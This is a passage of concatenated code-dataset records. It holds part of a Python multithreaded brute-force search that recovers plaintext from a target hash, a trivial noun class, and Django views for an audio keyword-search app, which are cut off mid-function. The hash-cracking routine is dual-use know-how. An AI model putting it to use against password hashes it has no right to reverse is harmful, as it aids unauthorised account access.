スレッド数が４（配列インデックス=2）のときの開始・終了文字\n        #-------------------------------------------------------------------------#\n        self.chrStart[2][0] = 0\n        self.chrStart[2][1] = 1 * len(self.targetChars) // 4\n        self.chrStart[2][2] = 2 * len(self.targetChars) // 4\n        self.chrStart[2][3] = 3 * len(self.targetChars) // 4\n        self.chrEnd[2][0] = self.chrStart[2][1]\n        self.chrEnd[2][1] = self.chrStart[2][2]\n        self.chrEnd[2][2] = self.chrStart[2][3]\n        self.chrEnd[2][3] = len(self.targetChars)\n\n        #-------------------------------------------------------------------------#\n        # スレッド数が８（配列インデックス=3）のときの開始・終了文字\n        #-------------------------------------------------------------------------#\n        self.chrStart[3][0] = 0\n        self.chrStart[3][1] = 1 * len(self.targetChars) // 8\n        self.chrStart[3][2] = 2 * len(self.targetChars) // 8\n        self.chrStart[3][3] = 3 * len(self.targetChars) // 8\n        self.chrStart[3][4] = 4 * len(self.targetChars) // 8\n        self.chrStart[3][5] = 5 * len(self.targetChars) // 8\n        self.chrStart[3][6] = 6 * len(self.targetChars) // 8\n        self.chrStart[3][7] = 7 * len(self.targetChars) // 8\n        self.chrEnd[3][0] = self.chrStart[3][1]\n        self.chrEnd[3][1] = self.chrStart[3][2]\n        self.chrEnd[3][2] = self.chrStart[3][3]\n        self.chrEnd[3][3] = self.chrStart[3][4]\n        self.chrEnd[3][4] = self.chrStart[3][5]\n        self.chrEnd[3][5] = self.chrStart[3][6]\n        self.chrEnd[3][6] = self.chrStart[3][7]\n        self.chrEnd[3][7] = len(self.targetChars)\n\n        #-------------------------------------------------------------------------#\n        # スレッド数が１６（配列インデックス=4）のときの開始・終了文字\n        #-------------------------------------------------------------------------#\n        self.chrStart[4][0] = 0\n        self.chrStart[4][1] = 1 * len(self.targetChars) // 16\n        self.chrStart[4][2] = 2 * len(self.targetChars) // 16\n        self.chrStart[4][3] = 3 * len(self.targetChars) // 16\n        self.chrStart[4][4] = 4 * len(self.targetChars) // 16\n        self.chrStart[4][5] = 5 * len(self.targetChars) // 16\n        self.chrStart[4][6] = 6 * len(self.targetChars) // 16\n        self.chrStart[4][7] = 7 * len(self.targetChars) // 16\n        self.chrStart[4][8] = 8 * len(self.targetChars) // 16\n        self.chrStart[4][9] = 9 * len(self.targetChars) // 16\n        self.chrStart[4][10] = 10 * len(self.targetChars) // 16\n        self.chrStart[4][11] = 11 * len(self.targetChars) // 16\n        self.chrStart[4][12] = 12 * len(self.targetChars) // 16\n        self.chrStart[4][13] = 13 * len(self.targetChars) // 16\n        self.chrStart[4][14] = 14 * len(self.targetChars) // 16\n        self.chrStart[4][15] = 15 * len(self.targetChars) // 16\n        self.chrEnd[4][0] = self.chrStart[4][1]\n        self.chrEnd[4][1] = self.chrStart[4][2]\n        self.chrEnd[4][2] = self.chrStart[4][3]\n        self.chrEnd[4][3] = self.chrStart[4][4]\n        self.chrEnd[4][4] = self.chrStart[4][5]\n        self.chrEnd[4][5] = self.chrStart[4][6]\n        self.chrEnd[4][6] = self.chrStart[4][7]\n        self.chrEnd[4][7] = self.chrStart[4][8]\n        self.chrEnd[4][8] = self.chrStart[4][9]\n        self.chrEnd[4][9] = self.chrStart[4][10]\n        self.chrEnd[4][10] = self.chrStart[4][11]\n        self.chrEnd[4][11] = self.chrStart[4][12]\n        self.chrEnd[4][12] = self.chrStart[4][13]\n        self.chrEnd[4][13] = self.chrStart[4][14]\n        self.chrEnd[4][14] = self.chrStart[4][15]\n        self.chrEnd[4][15] = len(self.targetChars)\n\n\n    #-------------------------------------------------------------------#\n    # 開始位置、終了位置の確認\n    #-------------------------------------------------------------------#\n    def display_chrStartEnd(self):\n        print(\"\\n\"\n              \"len(targetChars) = {0}\".format(len(self.targetChars)))\n\n        for rows in range(0, len(self.chrStart)):\n            for th in range(0, len(self.chrStart[rows])):\n                print(\"chrStart[{0}][{1}] = {2}\".format(rows, th, self.chrStart[rows][th]))\n                print(\"chrEnd[{0}][{1}] = {2}\".format(rows, th, self.chrEnd[rows][th]))\n\n        for i in range(0, len(self.targetChars)):\n            print(\"targetChars[{0}] = {1:x}\".format(i, self.targetChars[i]))\n\n\n    #-------------------------------------------------------------------#\n    # 元の文字列総当たり検索\n    #-------------------------------------------------------------------#\n    def Get_ClearText(self, threadMax):\n        #-------------------------------------------------------------------------#\n        # 平文が\"\"かどうかを判定する。\n        #-------------------------------------------------------------------------#\n        res = self.ch.ComputeHash_Common(self.Algorithm_Index, \"\".encode('ascii'))\n        if self.targetHashedBytes == res:\n            return \"\"\n\n        #-------------------------------------------------------------------------#\n        # 各スレッド用の結果格納用配列の初期化\n        #-------------------------------------------------------------------------#\n        self.resultStr = [None]*threadMax\n\n        #---------------------------------------------------------------------#\n        # マルチスレッド処理\n        #---------------------------------------------------------------------#\n        if self.useMultiThread:\n            # マルチスレッド実行\n            myThreads = []\n            for threadNum in range(0, threadMax):\n                myThreads.append(threading.Thread(target = self.thread_func(threadNum)))\n                myThreads[threadNum].start()\n        else:\n            # 直列実行\n            for threadNum in range(0, threadMax):\n                self.thread_func(threadNum)\n\n        #-------------------------------------------------------------------------#\n        # 指定文字数での結果報告\n        #-------------------------------------------------------------------------#\n        while True:\n            resultCount = 0\n\n            for i in range(0, threadMax):\n                if self.resultStr[i] != None:\n                    if self.resultStr[i] != \"\":\n                        # デバッグ用\n                        if self.output_clearTextList:\n                            self.save_clearTextList()\n\n                        # いずれかのスレッドが文字列を返してきた場合（見つかった場合）\n                        return self.resultStr[i]\n                    else:\n                        resultCount += 1\n\n                        if resultCount >= threadMax:\n                            # デバッグ用\n                            if self.output_clearTextList:\n                                self.save_clearTextList()\n\n                            # すべて\"\"だった場合（見つからなかった場合）\n                            return None\n\n\n    #-------------------------------------------------------------------#\n    # マルチスレッド処理部\n    #-------------------------------------------------------------------#\n    def thread_func(self, threadNum):\n        # 指定したアルゴリズムにてハッシュ値を生成する。\n        if self.Get_NextClearText_Group_All(threadNum, 0):\n            #-----------------------------------------------------------#\n            # 同じハッシュ値が生成できる元の文字列が見つかった場合\n            #-----------------------------------------------------------#\n            self.resultStr[threadNum] = self.bytes_array_to_str(self.srcStr[threadNum])\n        else:\n            self.resultStr[threadNum] = \"\"\n\n\n    #-------------------------------------------------------------------#\n    # 検索した平文リストのファイルへの保存\n    #-------------------------------------------------------------------#\n    def save_clearTextList(self):\n        with open(\"ClearTextList_\" + str(len(self.srcStr[0])) + \".txt\", mode='w') as f:\n            f.writelines(self.clearTextList)\n\n\n    #-------------------------------------------------------------------#\n    # 当該階層の平文候補を生成しハッシュ値と比較する。\n    # 見つからなければ次の階層へ。\n    #-------------------------------------------------------------------#\n    def Get_NextClearText_Group_All(self, threadNum, targetStrLength):\n        # 文字列の長さの上限を超えた場合は中止する。\n        if targetStrLength > len(self.chr[threadNum]) - 1:\n            return False\n\n        self.srcStr[threadNum] = self.chr[threadNum]\n\n        # まずは文字列長targetStrLengthの候補をチェック\n        for index in range(self.chrStart[self.selectIndex][threadNum], self.chrEnd[self.selectIndex][threadNum]):\n            self.chr[threadNum][targetStrLength] = self.targetChars[index]\n            self.srcStr[threadNum][targetStrLength] = self.chr[threadNum][targetStrLength]\n\n            # デバッグ用出力\n            if self.output_clearTextList:\n                self.clearTextList += \"\\\"\" + self.bytes_array_to_str(self.srcStr[threadNum]) + \"\\\"\\n\"\n\n            # 指定したアルゴリズムにてハッシュ値を生成する。\n            if self.targetHashedBytes == self.ch.ComputeHash_Common(self.Algorithm_Index, self.bytes_array_to_bytes(self.srcStr[threadNum])):\n                return True\n\n        # 文字列長targetStrLength + 1の候補をチェック\n        for index in range(self.chrStart[self.selectIndex][threadNum], self.chrEnd[self.selectIndex][threadNum]):\n            self.chr[threadNum][targetStrLength] = self.targetChars[index]\n\n            if self.Get_NextClearText_Group_All_level2(threadNum, targetStrLength + 1):\n                return True\n\n        return False\n\n\n    #-------------------------------------------------------------------#\n    # 当該階層の平文候補を生成しハッシュ値と比較する。\n    # 見つからなければ次の階層へ。\n    #-------------------------------------------------------------------#\n    def Get_NextClearText_Group_All_level2(self, threadNum, targetStrLength):\n        # 文字列の長さの上限を超えた場合は中止する。\n        if targetStrLength > len(self.chr[threadNum]) - 1:\n            return False\n\n        self.srcStr[threadNum] = [0]*(targetStrLength + 1)\n\n        for col in range(0, targetStrLength):\n            self.srcStr[threadNum][col] = self.chr[threadNum][col]\n\n        # まずは文字列長iの候補をチェック\n        for index in range(self.chrStart[0][0], self.chrEnd[0][0]):\n            self.chr[threadNum][targetStrLength] = self.targetChars[index]\n            self.srcStr[threadNum][targetStrLength] = self.chr[threadNum][targetStrLength]\n\n            # デバッグ用出力\n            if self.output_clearTextList:\n                self.clearTextList += \"\\\"\" + self.bytes_array_to_str(self.srcStr[threadNum]) + \"\\\"\\n\"\n\n            # 指定したアルゴリズムにてハッシュ値を生成する。\n            if self.targetHashedBytes == self.ch.ComputeHash_Common(self.Algorithm_Index, self.bytes_array_to_bytes(self.srcStr[threadNum])):\n                return True\n\n        # 文字列長targetStrLength + 1の候補をチェック\n        for index in range(self.chrStart[0][0], self.chrEnd[0][0]):\n            self.chr[threadNum][targetStrLength] = self.targetChars[index]\n\n            if self.Get_NextClearText_Group_All_level2(threadNum, targetStrLength + 1):\n                return True\n\n        return False\n\n\n    #-------------------------------------------------------------------#\n    # 生成した元の文字列候補を表示する。\n    #-------------------------------------------------------------------#\n    def display_ClearText(self):\n        clearText = []*len(self.srcStr)\n\n        for thread in range(0, len(self.srcStr)):\n            # スレッドごとに途中経過文字列を取得\n\n            clearText[thread] = \"\"\n            for i in range(0, len(self.srcStr[thread])):\n                clearText[thread] += self.srcStr[thread][i]\n\n            if clearText[thread].indexOf(\"\\0\") >= 0:\n                # 出力先テキストボックスに出力\n                print(\"スレッド{0}: (起動待ち)\".format(thread))\n            elif self.resultStr[thread] == \"\":\n                # 出力先テキストボックスに出力\n                print(\"スレッド{0}: (処理終了)\".format(thread))\n            else:\n                progress = ((self.get_index_targetChars(self.srcStr[thread][0]) - self.get_index_targetChars(self.targetChars[self.chrStart[self.selectIndex][thread]])) / (self.chrEnd[self.selectIndex][thread] - self.chrStart[self.selectIndex][thread])) * 100\n\n                # 出力先テキストボックスに出力\n                print(\"スレッド{0} ({1:.0f}% 終了) : {2}\".format(thread, progress, clearText[thread]))\n\n            if thread % 2 == 0:\n                print(\"\\t\")\n            else:\n                print()\n\n\n    #-------------------------------------------------------------------#\n    # 指定した文字(byte型)が、targetChars[]の何番目かを調べる\n    #-------------------------------------------------------------------#\n    def get_index_targetChars(self, val):\n        for i in range(0, len(self.targetChars)):\n            if val == self.targetChars[i]:\n                return i\n        return 0\n\n\n    #-------------------------------------------------------------------#\n    # byte[]を文字列に変換する\n    #-------------------------------------------------------------------#\n    def bytes_array_to_str(self, arr):\n        resultStr = \"\"\n        for i in range(len(arr)):\n            if arr[i] != 0:\n                resultStr += arr[i].decode('ascii')\n        return resultStr\n\n\n    #-------------------------------------------------------------------#\n    # byte[]をbyte列に変換する\n    #-------------------------------------------------------------------#\n    def bytes_array_to_bytes(self, arr):\n        result_val = arr[0]\n        for i in range(1, len(arr)):\n            if arr[i] != 0:\n                result_val += arr[i]\n        return result_val\n\n    #-------------------------------------------------------------------#\n    # 16進数文字列を数値に変換する\n    #-------------------------------------------------------------------#\n    def charToHex(self, s):\n        val_s = ord(s)\n        if ord('0') <= val_s and val_s <= ord('9'):\n            return val_s - ord('0')\n        elif ord('A') <= val_s and val_s <= ord('Z'):\n            return val_s - 55\n        elif ord('a') <= val_s and val_s <= ord('z'):\n            return val_s - 87\n\n        print(\"charToHex() Error ...\\n\"\n              \"{0} is wrong.\\n\".format(s))\n        return -1\n","sub_path":"Project_Python3_Bytes/mylibs/SearchClearText.py","file_name":"SearchClearText.py","file_ext":"py","file_size_in_byte":19741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"358436319","text":"\n\nfrom xai.brain.wordbase.nouns._scullion import _SCULLION\n\n#calss header\nclass _SCULLIONS(_SCULLION, ):\n\tdef __init__(self,): \n\t\t_SCULLION.__init__(self)\n\t\tself.name = \"SCULLIONS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"scullion\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_scullions.py","file_name":"_scullions.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"18374977","text":"from __future__ import print_function\nfrom django.shortcuts import render\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Input_audios, Output_audios, Response, Plotter, Searchkeys\nimport pandas as pd\nimport numpy as np\nimport time, datetime\nimport librosa\nimport librosa.display\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import max_error\nimport matplotlib.pyplot as plt\nfrom pydub import AudioSegment\nfrom pydub.playback import play\nimport wave\nimport os\nfrom django.http import HttpResponse\nimport librosa.display as ld\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nimport itertools, ast\n\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import authentication, permissions\n\n\n\n# Create your views here.\n\ndef jsaudio(request):\n    return render(request,'jsresults.html')\n\ndef chart(request):\n    return render(request,'chart.html')\n\nclass Chartdata(APIView):\n\n    authentication_classes = []\n    permission_classes = []\n\n    def get(self, request, format=None):\n        dataobj = Plotter.objects.all()\n        objs = []\n        for i in dataobj:\n            objs.append(i)\n        window = []\n        runtime = []\n        objs.sort(key=lambda x: x.window_size)\n        for i in objs:\n            window.append(i.window_size)\n            runtime.append(i.runtime)\n\n\n        labels: ['Red', 'Blue', 'Yellow', 'Green', 'Purple', 'Orange']\n        data = {\n        \"window_size\": window,\n        \"runtime\": runtime\n    }\n        #usernames = [user.username for user in User.objects.all()]\n        return Response(data)\n\n\n#Function to fetch the homepage\ndef home(request):\n    return render(request,'home.html')\n\n#Function to fetch the audio samples based on keyword (Search bar)\ndef search(request):\n    print(\"search invoked\")\n    searchobj = Searchkeys()\n    found = False\n    word = request.GET['searchbar']\n    objs = Input_audios.objects.all()\n    for i in objs:\n        if i.keyword == word:\n            inobj = i\n            found = True\n    objout = Output_audios.objects.all()\n    for j in objout:\n        if j.keyword == word:\n            outobj = j\n    if found == True:\n        searchobj.searchkey = word\n        searchobj.save()\n        return render(request,'jsaudioresults.html',{'audio': outobj,'inaudio':inobj})\n    else:\n        return render(request,'home.html',{'input': \"Keyword not found\"})\n\n\n\n\n#Function to upload the audio samples and to process them\ndef file_upload(request):\n    input_file = Input_audios()\n    def_audio = Input_audios.objects.all()\n    word = request.POST['keyword']\n    word = word.lower()\n\n    file1 = request.FILES['audio1']\n    try:\n        file2 = request.FILES['audio2']\n    except:\n        file2 = request.FILES['audio1']\n        pass\n\n    try:\n        file3 = request.FILES['audio3']\n    except:\n        file3 = request.FILES['audio1']\n\n\n    malspec = float(request.POST['malspec'])\n    chroma = float(request.POST['chroma'])\n    zerocross = float(request.POST['zerocross'])\n    sdf = float(request.POST['sdf'])\n    print(request.POST['default_audio'])\n    window_size = int(request.POST['window_size'])\n\n\n    if str(request.POST['default_audio']) == \"Need_default_audio\":\n        for i in def_audio:\n            obj = i\n            input_file.audio_analyse = obj.audio_analyse\n            break\n    else:\n\n        file_analyse = request.FILES['analyse']\n        input_file.audio_analyse = file_analyse\n\n\n\n    input_file.keyword = word\n    input_file.audio_1 = file1\n    input_file.audio_2 = file2\n    input_file.audio_3 = file3\n    input_file.chroma = chroma\n    input_file.malspec = malspec\n    input_file.zerocross = zerocross\n    input_file.silence_decible_floor = sdf\n    input_file.window_size = window_size\n\n    input_file.save()\n\n    plotobj = Plotter()\n    plotobj.keyword = word\n    plotobj.window_size = window_size\n    plotobj.runtime = 0\n    plotobj.save()\n\n    obj = Input_audios.objects.last()\n\n    audio1 = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\\" + str(obj.audio_1)[5:]\n    audio2 = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\\" + str(obj.audio_2)[5:]\n    audio3 = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\\" + str(obj.audio_3)[5:]\n    audioanalyse = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\\" + str(obj.audio_analyse)[5:]\n    print('clicked')\n    search_function(malspec, chroma, zerocross, sdf, keyword = word, keyword_file1= audio1, keyword_file2=audio2, keyword_file3 = audio3,\n                    large_audio_file=audioanalyse)\n\n\n\n    \"==========\"\n\n\n    loc = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\\"\n    filestr1 = obj.audio_1\n    filestr1 = str(filestr1)\n    filestr2 = obj.audio_2\n    filestr2 = str(filestr2)\n    filestr3 = obj.audio_3\n    filestr3 = str(filestr3)\n    filestr4 = obj.audio_analyse\n    filestr4 = str(filestr4)\n\n    aud1_file = loc + filestr1[6:]\n    print(loc + filestr1)\n    obj.visual_1 = visualisation(aud1_file,1)\n\n    aud2_file = loc + filestr2[6:]\n    obj.visual_2 = visualisation(aud2_file,1)\n    aud3_file = loc + filestr3[6:]\n    obj.visual_3 = visualisation(aud3_file,1)\n    aud4_file = loc + filestr4[6:]\n    obj.visual_4 = visualisation(aud4_file,1)\n\n    obj.save()\n\n    \"===========\"\n\n\n\n\n    output_files = Output_audios.objects.last()\n    return render(request,'jsresults.html',{'audio': output_files,'inaudio':obj})\n\n\n#funtion to plot graphs based on window size and runtime\n\ndef plotter(request):\n\n    plotobj = Plotter.objects.all()\n    plotobj1 = []\n    for i in plotobj:\n        plotobj1.append(i)\n    plotobj1.sort(key=lambda x: x.window_size)\n    windowlist = []\n    runtimelist = []\n    data = {'Keyword': [], 'Window_size': [], 'Runtime': []}\n    for i in plotobj1:\n        data['Keyword'].append(i.keyword)\n        data['Window_size'].append(i.window_size)\n        data['Runtime'].append(i.runtime)\n\n    dataframe = pd.DataFrame(data, columns = ['Window_size','Runtime'])\n    dataframe.plot(x = 'Window_size', y = 'Runtime', kind  = 'line')\n    plt.savefig('C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\static\\\\graph1.jpg')\n\n    return render(request,'chart.html',{'plotobj':plotobj})\n\n\n    '''\n    in_obj = Input_audios.objects.all()\n    out_obj = Output_audios.objects.all()\n    windowlist = []\n    runtimelist = []\n    sample = []\n    data = {'Window_size': [], 'Runtime': []}\n    for i in in_obj:\n        data['Window_size'].append(i.window_size)\n    for i in out_obj:\n        data['Runtime'].append(i.runtime)\n    windowlist = data['Window_size']\n    runtimelist = data['Runtime']\n    l = len(windowlist)\n    for i in range(0,l):\n        sample.append(i)\n\n\n    dataframe = pd.DataFrame(data, columns = ['Window_size','Runtime'])\n    dataframe.plot(x = 'Window_size', y = 'Runtime', kind  = 'scatter')\n    plt.savefig('C:\\\\Users\\\\PSSRE\\\\Downloads\\\\graph.jpg')\n\n    return render(request,'datapage.html',{'data': data, 'windowlist': windowlist, 'runtimelist': runtimelist})\n    '''\n\n\n\n\n#Function to fetch the result with the default audio sample\ndef result_page(request):\n    input_files = Input_audios.objects.all()\n    for i in input_files:\n        obj = i\n        break\n    new_row = Input_audios()\n    new_row = obj\n    new_row.save()\n\n    output_files = Output_audios.objects.all()\n    for j in output_files:\n        outobj = j\n        break\n    return render(request,'jsdefresults.html',{'audio': outobj,'inaudio':obj})\n\n\n#Funciton to submit the review data submitted in audioresult page\ndef datasubmit(request):\n    aud1_output = request.GET['aud_1match']\n    aud2_output = request.GET['aud_2match']\n    aud3_output = request.GET['aud_3match']\n    aud4_output = request.GET['aud_4match']\n    aud5_output = request.GET['aud_5match']\n    aud6_output = request.GET['aud_6match']\n    myresponse = Response()\n    myresponse.aud1_response = aud1_output\n    myresponse.aud2_response = aud2_output\n    myresponse.aud3_response = aud3_output\n    myresponse.aud4_response = aud4_output\n    myresponse.aud5_response = aud5_output\n    myresponse.aud6_response = aud6_output\n\n    obj = Input_audios.objects.last()\n    myresponse.file = obj.audio_analyse\n    myresponse.keyword = obj.keyword\n\n    myresponse.save()\n\n    return render(request,'lastpage.html')\n\ndef visualisation(fname,n):\n    print(fname)\n    #y,sr = librosa.load(librosa.util.example_audio_file(),duration = 10)\n    #y,sr = librosa.load('C:\\\\Users\\\\PSSRE\\\\Downloads\\\\Voice_042.wav',duration = 2)\n    y,sr = librosa.load(fname)\n    plt.figure(figsize=(12,6))\n    #plt.figure()\n    #plt.subplot(2,1,1)\n    ld.waveplot(y,sr=sr)\n    #plt.title('Monophonic')\n    file_name = fname + \".jpg\"\n    plt.savefig(file_name)\n    current_time = datetime.datetime.now()\n    timestr = str(current_time.year) + \"_\" + str(current_time.month) + \"_\" + str(current_time.day) + \"_\" + str(current_time.hour) + \"_\" + str(current_time.minute) + \"_\" + str(current_time.second)\n    #output.search_1 = \"media/search_1\" + timestr\n    if n==2:\n        f1 = fname.split('media\\media\\\\')\n        f2 = f1[1]\n        #saved_file = 'media/' + fname[len(fname)-21:] + \".jpg\"\n        saved_file = 'media/' + f2 + \".jpg\"\n        #saved_file = \"media/\" + fname[len(fname)-26:] + \".jpg\"\n    else:\n        f1 = fname.split('media\\media\\\\')\n        f2 = f1[1]\n        #saved_file = 'media/' + fname[len(fname)-21:] + \".jpg\"\n        saved_file = 'media/' + f2 + \".jpg\"\n    return saved_file\n\n\n\"********************plot***************************\"\n\nclass Resultplot1(APIView):\n    \"\"\"\n    View to list all users in the system.\n\n    * Requires token authentication.\n    * Only admin users are able to access this view.\n    \"\"\"\n    authentication_classes = []\n    permission_classes = []\n\n    def get(self, request, format=None):\n        \"\"\"\n        Return a list of all users.\n        \"\"\"\n        audobj = Input_audios.objects.last()\n        outobj = Output_audios.objects.last()\n        rmse = outobj.rmse\n        print('rmse :',rmse)\n        aud1 = str(audobj.audio_1)\n        audb = str(audobj.audio_analyse)\n        search1 = str(outobj.search_1)\n        search2 = str(outobj.search_2)\n        search3 = str(outobj.search_3)\n        itemlist = []\n        audplots = []\n        columnplots = []\n        itemlist.append(aud1)\n        itemlist.append(audb)\n        itemlist.append(search1)\n        itemlist.append(search2)\n        itemlist.append(search3)\n        for i in itemlist:\n            fname = i.split('media/')\n            fname = fname[1]\n            fname = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\\" + fname\n            audioplot,sr = librosa.load(fname,sr=15000)\n\n            columns = []\n            count = 0\n            for i in range(0,len(audioplot)):\n                columns.append(count)\n                count += 1/sr\n                count = round(count,8)\n            audplots.append(audioplot)\n            columnplots.append(columns)\n\n        rmse = outobj.rmse\n        audlen = len(audplots[1])\n        rmse = ast.literal_eval(rmse)\n        rmse_len = audlen//len(rmse)\n        new_list = new_rmse_list(rmse_list = rmse, repeat_times = rmse_len)\n        lentime = []\n        start_time = outobj.start_time\n        end_time = outobj.end_time\n        test_audio = outobj.test_audio\n        test_audio = ast.literal_eval(test_audio)\n\n\n        start_point = float(start_time * audlen/len(test_audio))\n\n\n        end_point = float(end_time * audlen/len(test_audio))\n\n        for i in range(0,audlen):\n\n            if i> start_point and i<end_point:\n                lentime.append(1)\n            else:\n                lentime.append(0)\n\n\n        data = {\n            'keyaud' : audplots[0],\n            'keysr' : columnplots[0],\n            'bigaud' : audplots[1],\n            'bigsr' : columnplots[1],\n            'search1aud' : audplots[2],\n            'search1sr' : columnplots[2],\n            'search2aud' : audplots[3],\n            'search2sr' : columnplots[3],\n            'search3aud' : audplots[4],\n            'search3sr' : columnplots[4],\n            'rmse':new_list,\n            'lentime': lentime\n\n\n\n        }\n\n        return Response(data)\n\n\n#function to fetch the searched keyword\n\nclass Searchplot(APIView):\n    \"\"\"\n    View to list all users in the system.\n\n    * Requires token authentication.\n    * Only admin users are able to access this view.\n    \"\"\"\n    authentication_classes = []\n    permission_classes = []\n\n    def get(self, request, format=None):\n        \"\"\"\n        Return a list of all users.\n        \"\"\"\n        keyword = Searchkeys.objects.last()\n        print('keyword: ',keyword.searchkey)\n        inall = Input_audios.objects.all()\n        outall = Output_audios.objects.all()\n        for i in inall:\n            if i.keyword == keyword.searchkey.lower():\n                audobj = i\n                break\n        for i in outall:\n            if i.keyword == keyword.searchkey.lower():\n                outobj = i\n                break\n\n\n        #audobj = Input_audios.objects.last()\n        #outobj = Output_audios.objects.last()\n        aud1 = str(audobj.audio_1)\n        audb = str(audobj.audio_analyse)\n        search1 = str(outobj.search_1)\n        search2 = str(outobj.search_2)\n        search3 = str(outobj.search_3)\n\n        itemlist = []\n        audplots = []\n        columnplots = []\n        itemlist.append(aud1)\n        itemlist.append(audb)\n        itemlist.append(search1)\n        itemlist.append(search2)\n        itemlist.append(search3)\n        for i in itemlist:\n            fname = i.split('media/')\n            fname = fname[1]\n            fname = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\\" + fname\n            audioplot,sr = librosa.load(fname,sr=15000)\n\n            columns = []\n            count = 0\n            for i in range(0,len(audioplot)):\n                columns.append(count)\n                count += 1/sr\n                count = round(count,8)\n            audplots.append(audioplot)\n            columnplots.append(columns)\n        rmse = outobj.rmse\n        audlen = len(audplots[1])\n        rmse = ast.literal_eval(rmse)\n        rmse_len = audlen//len(rmse)\n        new_list = new_rmse_list(rmse_list = rmse, repeat_times = rmse_len)\n        lentime = []\n        start_time = outobj.start_time\n        end_time = outobj.end_time\n        test_audio = outobj.test_audio\n        test_audio = ast.literal_eval(test_audio)\n\n\n        start_point = float(start_time * audlen/len(test_audio))\n\n\n        end_point = float(end_time * audlen/len(test_audio))\n\n        for i in range(0,audlen):\n\n            if i> start_point and i<end_point:\n                lentime.append(1)\n            else:\n                lentime.append(0)\n\n\n        data = {\n            'keyaud' : audplots[0],\n            'keysr' : columnplots[0],\n            'bigaud' : audplots[1],\n            'bigsr' : columnplots[1],\n            'search1aud' : audplots[2],\n            'search1sr' : columnplots[2],\n            'search2aud' : audplots[3],\n            'search2sr' : columnplots[3],\n            'search3aud' : audplots[4],\n            'search3sr' : columnplots[4],\n            'rmse': new_list,\n            'lentime': lentime\n\n\n\n        }\n\n        return Response(data)\n\n\n#function for default results\n\nclass Defresults(APIView):\n    \"\"\"\n    View to list all users in the system.\n\n    * Requires token authentication.\n    * Only admin users are able to access this view.\n    \"\"\"\n    authentication_classes = []\n    permission_classes = []\n\n    def get(self, request, format=None):\n        \"\"\"\n        Return a list of all users.\n        \"\"\"\n        inall = Input_audios.objects.all()\n        outall = Output_audios.objects.all()\n        for i in inall:\n            audobj = i\n            break\n        for i in outall:\n            outobj = i\n        #audobj = Input_audios.objects.last()\n        #outobj = Output_audios.objects.last()\n        aud1 = str(audobj.audio_1)\n        audb = str(audobj.audio_analyse)\n        rmse = outobj.rmse\n        start_time = outobj.start_time\n        end_time = outobj.end_time\n        test_audio = outobj.test_audio\n        test_audio = ast.literal_eval(test_audio)\n\n        print('length of test audio: ', len(test_audio))\n        #start_time = 5000\n        #end_time = 7000\n\n        search1 = str(outobj.search_1)\n        search2 = str(outobj.search_2)\n        search3 = str(outobj.search_3)\n        itemlist = []\n        audplots = []\n        columnplots = []\n        itemlist.append(aud1)\n        itemlist.append(audb)\n        itemlist.append(search1)\n        itemlist.append(search2)\n        itemlist.append(search3)\n        for i in itemlist:\n            fname = i.split('media/')\n            fname = fname[1]\n            fname = \"C:\\\\..\\\\Audio_project\\\\Audio_analyser\\\\media\\\\media\\\\\" + fname\n            audioplot,sr = librosa.load(fname, sr = 5000)\n\n\n            columns = []\n\n            count = 0\n\n            for i in range(0,len(audioplot)):\n                columns.append(count)\n                count += 1/sr\n                count = round(count,8)\n            audplots.append(audioplot)\n            columnplots.append(columns)\n\n        audlen = len(audplots[1])\n        rmse = ast.literal_eval(rmse)\n        rmse_len = audlen//len(rmse)\n\n        lentime = []\n        start_time = outobj.start_time\n        end_time = outobj.end_time\n        test_audio = outobj.test_audio\n        test_audio = ast.literal_eval(test_audio)\n\n\n        start_point = float(start_time * audlen/len(test_audio))\n\n\n        end_point = float(end_time * audlen/len(test_audio))\n\n        for i in range(0,audlen):\n\n            if i> start_point and i<end_point:\n                lentime.append(audplots[1][i])\n\n                audplots[1][i]=0\n\n            else:\n                lentime.append(0)\n\n\n\n\n\n\n\n        new_list = new_rmse_list(rmse_list = rmse, repeat_times = rmse_len)\n\n\n        '''\n        aud1 = columnplots[2][0]\n        aud2 = columnplots[2][len(columnplots[2])-1]\n        fillcolors = []\n        for i in columnplots[1]:\n            if i>=aud1 and i<=aud2:\n\n                fillcolors.append('rgb(0,0,0)')\n\n            else:\n                fillcolors.append('rgba(54, 162, 235, 1)')\n        fillcolors[0] = 'rgba(54, 162, 235, 1)'\n        '''\n\n\n\n\n\n        data = {\n            'keyaud' : audplots[0],\n            'keysr' : columnplots[0],\n            'bigaud' : audplots[1],\n            'bigsr' : columnplots[1],\n            'search1aud' : audplots[2],\n            'search1sr' : columnplots[2],\n            'search2aud' : audplots[3],\n            'search2sr' : columnplots[3],\n            'search3aud' : audplots[4],\n            'search3sr' : columnplots[4],\n            'rmse': new_list,\n            'lentime': lentime\n\n\n\n\n        }\n\n        return Response(data)\n\n\ndef new_rmse_list(rmse_list = [], repeat_times = 56):\n\n    # declaring magnitude of repetition\n    K = repeat_times\n\n    # using itertools.chain.from_iterable()\n    # + itertools.repeat() repeat elements K times\n    new_list = list(itertools.chain.from_iterable(itertools.repeat(i, K) for i in rmse_list))\n\n    return new_list\n\n\n\n\n\n\n\n\n\n\n\n\"********************plot************************\"\n\n\"================================================\"\n\ndef get_chroma_features(sound_window = [], plot=True):\n    y = sound_window\n\n    # Compute chroma features from the harmonic signal\n    chroma_cq = 